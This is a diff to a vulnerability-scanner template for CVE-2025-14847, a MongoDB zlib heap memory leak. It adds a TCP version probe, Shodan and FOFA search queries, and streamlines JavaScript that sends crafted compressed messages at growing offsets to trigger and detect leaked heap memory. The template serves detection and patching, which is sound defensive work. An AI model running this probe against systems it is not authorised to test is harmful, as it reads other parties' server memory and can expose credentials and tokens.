diff --git a/javascript/cves/2025/CVE-2025-14847.yaml b/javascript/cves/2025/CVE-2025-14847.yaml index 7909b57b960f..ffb7ab69dda8 100644 --- a/javascript/cves/2025/CVE-2025-14847.yaml +++ b/javascript/cves/2025/CVE-2025-14847.yaml @@ -5,20 +5,73 @@ info: author: pussycat0x,joe-desimone,DhiyaneshDK severity: high description: | - Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0. + MongoDB Server contained a flaw in the zlib decompression logic where + mismatched length fields in compressed protocol headers allowed a read + of uninitialized heap memory by an unauthenticated client. impact: | - Unauthenticated clients can read uninitialized heap memory, potentially exposing sensitive information. + Unauthenticated clients can read uninitialized heap memory, potentially + exposing credentials, session tokens, API keys, and other sensitive data. remediation: | - Update to versions 7.0.28, 8.0.17, 8.2.3, 6.0.27, 5.0.32, 4.4.30 or later. + Update to versions 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, or 4.4.30. + Alternatively, disable zlib compression using snappy,zstd or disabled. reference: - https://jira.mongodb.org/browse/SERVER-115508 - https://github.com/joe-desimone/mongobleed + - https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2025-14847 + cwe-id: CWE-908 metadata: verified: true - max-request: 1 - tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed,kev,vkev + max-request: 2 + vendor: mongodb + product: mongodb + shodan-query: product:"MongoDB" + fofa-query: protocol="mongodb" + tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed,kev -flow: javascript(1) || tcp(1) +flow: tcp(1) && javascript(1) + +tcp: + - inputs: + - data: 3b0000003c300000ffffffffd40700000000000061646d696e2e24636d640000000000ffffffff14000000106275696c64696e666f000100000000 + type: hex + host: + - "{{Hostname}}" + port: 27017 + read-size: 2048 + + matchers-condition: and + matchers: + - type: word + part: raw + words: + - "version" + - "maxBsonObjectSize" + condition: and + + - type: dsl + dsl: + - "compare_versions(version, '>= 8.2.0') && compare_versions(version, '<= 8.2.2')" + - "compare_versions(version, '>= 8.0.0') && compare_versions(version, '<= 8.0.16')" + - "compare_versions(version, '>= 7.0.0') && compare_versions(version, '<= 7.0.27')" + - "compare_versions(version, '>= 6.0.0') && compare_versions(version, '<= 6.0.26')" + - "compare_versions(version, '>= 5.0.0') && compare_versions(version, '<= 5.0.31')" + - "compare_versions(version, '>= 4.4.0') && compare_versions(version, '<= 4.4.29')" + - "compare_versions(version, '>= 4.2.0') && compare_versions(version, '<= 4.2.25')" + - "compare_versions(version, '>= 4.0.0') && compare_versions(version, '<= 4.0.28')" + - "compare_versions(version, '>= 3.6.0') && compare_versions(version, '<= 3.6.23')" + condition: or + + extractors: + - type: regex + name: version + part: raw + group: 1 + regex: + - '(?s)version.{0,50}?([0-9]+\.[0-9]+\.[0-9]+)' javascript: - pre-condition: | @@ -70,17 +123,10 @@ javascript: return -1; } - function extractStringFromBytes(bytes, start, maxLen) { - let str = ""; - for (let i = start; i < Math.min(start + maxLen, bytes.length); i++) { - if (bytes[i] === 0) break; - if (bytes[i] >= 32 && bytes[i] < 127) { - str += String.fromCharCode(bytes[i]); - } else { - break; - } - } - return str; + function isMongoDBResponse(responseBytes) { + if (!responseBytes || responseBytes.length < 16) return false; + const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24); + return (opcode === 1 || opcode === 2012 || opcode === 2013); } function extractLeaks(responseBytes) { @@ -88,22 +134,26 @@ javascript: return []; } + if (!isMongoDBResponse(responseBytes)) { + return []; + } + const leaks = []; let raw = []; - try { - const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24); - const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24); - - if (opcode === 0) { - raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length)); - } else if (opcode === 2012) { - raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length)); - } else { - raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length)); - } - } catch (e) { - raw = responseBytes.length > 16 ? responseBytes.slice(16) : []; + const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24); + const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24); + + if (msgLen < 16 || msgLen > 100000) { + return []; + } + + if (opcode === 0) { + raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length)); + } else if (opcode === 2012) { + raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length)); + } else { + raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length)); } if (raw.length === 0) { @@ -119,9 +169,7 @@ javascript: const actualPos = searchPos + pos + fieldNamePattern.length; let fieldName = ""; for (let i = actualPos; i < raw.length && i < actualPos + 200; i++) { - if (raw[i] === 39) { - break; - } + if (raw[i] === 39) break; if (raw[i] >= 32 && raw[i] < 127) { fieldName += String.fromCharCode(raw[i]); } else { @@ -137,141 +185,14 @@ javascript: if (searchPos >= raw.length) break; } - const typePattern = stringToBytes("type "); - searchPos = 0; - while (true) { - const pos = findBytePattern(raw.slice(searchPos), typePattern); - if (pos === -1) break; - - const actualPos = searchPos + pos + typePattern.length; - let numStr = ""; - for (let i = actualPos; i < raw.length && i < actualPos + 10; i++) { - if (raw[i] >= 48 && raw[i] <= 57) { - numStr += String.fromCharCode(raw[i]); - } else { - break; - } - } - - if (numStr) { - const typeByte = parseInt(numStr) & 0xFF; - leaks.push(String.fromCharCode(typeByte)); - } - - searchPos = actualPos + 1; - if (searchPos >= raw.length) break; - } - const invalidBSONPattern = stringToBytes("InvalidBSON"); const bsonLengthPattern = stringToBytes("bson length"); const hasInvalidBSON = findBytePattern(raw, invalidBSONPattern) !== -1; const hasBsonLength = findBytePattern(raw, bsonLengthPattern) !== -1; - let printableSeq = ""; - for (let i = 0; i < raw.length; i++) { - if (raw[i] >= 32 && raw[i] < 127) { - printableSeq += String.fromCharCode(raw[i]); - } else { - if (printableSeq.length >= 10) { - const lower = printableSeq.toLowerCase(); - if (lower.indexOf('field name') === -1 && lower.indexOf('invalid') === -1 && - lower.indexOf('bson') === -1 && lower.indexOf('unrecognized') === -1 && - lower.indexOf('type ') === -1 && lower !== 'ok' && lower !== 'errmsg') { - leaks.push(printableSeq); - } - } - printableSeq = ""; - } - } - if (printableSeq.length >= 10) { - const lower = printableSeq.toLowerCase(); - if (lower.indexOf('field name') === -1 && lower.indexOf('invalid') === -1 && - lower.indexOf('bson') === -1 && lower.indexOf('unrecognized') === -1 && - lower.indexOf('type ') === -1 && lower !== 'ok' && lower !== 'errmsg') { - leaks.push(printableSeq); - } - } - if (hasInvalidBSON || hasBsonLength) { - let currentStr = ""; - for (let i = 0; i < raw.length; i++) { - const byte = raw[i]; - if ((byte >= 48 && byte <= 57) || (byte >= 65 && byte <= 90) || (byte >= 97 && byte <= 122) || byte === 95 || byte === 45 || byte === 46) { - currentStr += String.fromCharCode(byte); - } else { - if (currentStr.length >= 10) { - const lower = currentStr.toLowerCase(); - if (lower !== 'invalidbson' && lower !== 'field name' && lower !== 'unrecognized' && - lower !== 'bson length' && lower !== 'doesn' && lower !== 'match' && - lower !== 'what we' && lower !== 'found in' && lower !== 'object with' && - lower !== 'unknown id') { - leaks.push(currentStr); - } - } - currentStr = ""; - } - } - if (currentStr.length >= 10) { - const lower = currentStr.toLowerCase(); - if (lower !== 'invalidbson' && lower !== 'field name' && lower !== 'unrecognized' && - lower !== 'bson length' && lower !== 'doesn' && lower !== 'match' && - lower !== 'what we' && lower !== 'found in' && lower !== 'object with' && - lower !== 'unknown id') { - leaks.push(currentStr); - } - } - } - - let hexStr = ""; - for (let i = 0; i < raw.length; i++) { - hexStr += raw[i].toString(16).padStart(2, '0'); - } - - let hexPos = 0; - while (hexPos < hexStr.length) { - let hexMatch = ""; - - while (hexPos < hexStr.length && ((hexStr[hexPos] >= '0' && hexStr[hexPos] <= '9') || (hexStr[hexPos] >= 'a' && hexStr[hexPos] <= 'f'))) { - hexMatch += hexStr[hexPos]; - hexPos++; - } - - if (hexMatch.length >= 20) { - try { - const hexBytes = []; - for (let i = 0; i < hexMatch.length; i += 2) { - if (i + 1 < hexMatch.length) { - const byte = parseInt(hexMatch.substr(i, 2), 16); - hexBytes.push(byte); - } - } - - let printableCount = 0; - for (let i = 0; i < Math.min(50, hexBytes.length); i++) { - if (hexBytes[i] >= 32 && hexBytes[i] < 127) { - printableCount++; - } - } - - if (printableCount > hexBytes.length * 0.5) { - let decodedStr = ""; - for (let i = 0; i < hexBytes.length; i++) { - if (hexBytes[i] >= 32 && hexBytes[i] < 127) { - decodedStr += String.fromCharCode(hexBytes[i]); - } - } - if (decodedStr.length >= 10) { - leaks.push(decodedStr); - } - } - } catch (e) { - } - } - - if (hexPos < hexStr.length) { - hexPos++; - } else { - break; + if (raw.length > 50) { + leaks.push("bson_error_with_leaked_memory"); } } @@ -281,7 +202,6 @@ javascript: const minOffset = parseInt(MinOffset) || 20; const maxOffset = parseInt(MaxOffset) || 8192; const allOutput = []; - let totalResponses = 0; for (let docLen = minOffset; docLen < maxOffset; docLen++) { const bufferSize = docLen + 500; @@ -303,9 +223,7 @@ javascript: try { const conn = net.Open('tcp', `${Host}:${Port}`); - if (!conn) { - continue; - } + if (!conn) continue; conn.SetTimeout(10); conn.SendHex(fullMessage); @@ -320,9 +238,7 @@ javascript: if (Array.isArray(chunk)) { for (let i = 0; i < chunk.length; i++) { const byte = typeof chunk[i] === 'number' ? chunk[i] : parseInt(chunk[i]); - if (!isNaN(byte)) { - chunkBytes.push(byte); - } + if (!isNaN(byte)) chunkBytes.push(byte); } } else if (typeof chunk === 'string') { for (let i = 0; i < chunk.length; i++) { @@ -334,59 +250,29 @@ javascript: responseBytes = responseBytes.concat(chunkBytes); } - if (responseBytes.length < 4) { - continue; - } + if (responseBytes.length < 4) continue; const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24); - if (responseBytes.length >= msgLen) { - break; - } + if (responseBytes.length >= msgLen) break; } conn.Close(); - totalResponses++; if (responseBytes.length > 0) { const leaks = extractLeaks(responseBytes); + let hasLeaks = false; - let hasLeaks = false; - - for (let i = 0; i < leaks.length; i++) { - const leak = leaks[i]; - if (leak && leak.length > 0) { - hasLeaks = true; - break; - } - } - - if (!hasLeaks && responseBytes.length > 16) { - try { - const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24); - const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24); - - let raw = []; - if (opcode === 2012) { - raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length)); - } else { - raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length)); - } - - const invalidBSONPattern = stringToBytes("InvalidBSON"); - const bsonLengthPattern = stringToBytes("bson length"); - if (findBytePattern(raw, invalidBSONPattern) !== -1 || findBytePattern(raw, bsonLengthPattern) !== -1) { - if (raw.length > 50) { - hasLeaks = true; - } - } - } catch (e) { - } - } - - if (hasLeaks) { - allOutput.push(`leak found at offset ${docLen}`); + for (let i = 0; i < leaks.length; i++) { + if (leaks[i] && leaks[i].length > 0) { + hasLeaks = true; break; } + } + + if (hasLeaks) { + allOutput.push(`leak found at offset ${docLen}`); + break; + } } } catch (e) { } @@ -408,40 +294,3 @@ javascript: - type: dsl dsl: - response - -tcp: - - inputs: - - data: 3b0000003c300000ffffffffd40700000000000061646d696e2e24636d640000000000ffffffff14000000106275696c64696e666f000100000000 - type: hex - - host: - - "{{Hostname}}" - port: 27017 - read-size: 2048 - - matchers-condition: and - matchers: - - type: word - part: raw - words: - - "version" - - "maxBsonObjectSize" - condition: and - - - type: dsl - dsl: - - "compare_versions(version, '>= 8.2.0') && compare_versions(version, '<= 8.2.2')" - - "compare_versions(version, '>= 8.0.0') && compare_versions(version, '<= 8.0.16')" - - "compare_versions(version, '>= 7.0.0') && compare_versions(version, '<= 7.0.27')" - - "compare_versions(version, '>= 6.0.0') && compare_versions(version, '<= 6.0.26')" - - "compare_versions(version, '>= 5.0.0') && compare_versions(version, '<= 5.0.31')" - condition: or - - extractors: - - type: regex - name: version - part: raw - group: 1 - regex: - - '(?s)version.{0,50}?([0-9]+\.[0-9]+\.[0-9]+)' -# digest: 490a00463044022014d979a9fb34d6fdacf8549456430a381ad8df886eefd273ccce0d0dae1cab28022053b640feda9768334155af6608f0fe0e410f3a69f58685a9066c4a451da78381:922c64590222798bb761d5b6d8e72950 \ No newline at end of file